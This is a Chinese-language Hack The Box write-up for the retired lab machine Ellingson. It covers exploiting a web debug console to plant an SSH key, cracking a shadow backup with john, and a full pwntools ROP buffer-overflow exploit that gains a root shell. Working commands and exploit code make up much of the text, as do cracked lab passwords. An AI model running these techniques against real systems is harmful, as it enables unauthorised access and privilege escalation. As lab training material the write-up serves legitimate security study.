HTB-靶机-Ellingson
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.139
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.139 -o ./Ellingson-autorecon
扫描出来的结果就开放了两个端口22和80端口,我们直接访问web应用
点击了下面的3个功能页面
其中发现Suspicious Network activity有重要信息
看到上述提示,反馈说有些通用的密码跟Love,Secret,Sex,God有关,这个先放着后面可能会用的到,丢个单引号发现报错
翻看了相关信息发现报错的页面右边有个调式模式的类似命令行的图标
点击此图标发现可以进入python的交互模式,可直接写代码
可以执行命令操作了,就方便了,本想直接读取目标靶机的当前私钥,但是发现私钥有秘密,那么直接本地kali生成一个公钥和私钥直接写进去即可
proc = subprocess.check_output('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali" > /home/hal/.ssh/authorized_keys', shell=True );
连接成功执行了id命令发现当前用户是adm组的,也可以直接执行groups命令进行查看,检索靶机上该的相关文件
find / -group adm 2>/dev/null
发现了一个备份文件shadow.bak直接读取看看
发现多个加密用户的hash值,提权这些hash进行破解,相关的命令操作
cat shadow.bak | grep -v '*' | awk -F ':' '{print $1":"$2}' > hashes grep -iE 'love|sex|secret|god' /usr/share/wordlists/rockyou.txt > wordlist (这里前面已经提到了) -E 参数表示过滤多个参数 john -w=wordlist --fork=4 hashes --fork 表示指定4核CPU进行跑密码 参考官方文档:https://www.openwall.com/john/doc/OPTIONS.shtml
得到用户margo的密码,直接su切换过去
到了这一步就要开始提权了,先看看suid权限的文件
find / -type f -perm -4000 2>/dev/null
发现可疑的文件garbage,执行此文件显示要输入密码,使用ltrace命令调试跟踪下程序
ltrace garbage
发现了一个比较密码的操作,猜测就是密码 N3veRF3@r1iSh3r3!
下面我们需要分享此二进制文件,相关分析文章可以参考:https://0xrick.github.io/hack-the-box/ellingson/ 我这直接给出exploit获取root权限
#!/usr/bin/python from pwn import * s = ssh(host = "10.10.10.139", user = "margo", password = "iamgod$08") context(os = "linux", arch = "amd64") p = s.process("/usr/bin/garbage") buf_size = 136 puts_plt = 0x401050 puts_got = 0x404028 pop_rdi = 0x40179b main_addr = 0x401619 buf = 'A' * buf_size buf += p64(pop_rdi) buf += p64(puts_got) buf += p64(puts_plt) buf += p64(main_addr) p.sendline(buf) p.recvuntil("access denied.") leaked_puts = p.recv()[:8].strip().ljust(8, '\x00') log.info("Leaked address: {}".format(leaked_puts.encode('hex'))) puts_glibc = 0x809c0 offset = u64(leaked_puts) - puts_glibc system_glibc = 0x4f440 setuid_glibc = 0xe5970 sh = 0x1b3e9a system = p64(offset + system_glibc) shell = p64(offset + sh) setuid = p64(offset + setuid_glibc) buf = 'A' * buf_size buf += p64(pop_rdi) + p64(0) + setuid buf += p64(pop_rdi) + shell + system p.sendline(buf) p.interactive()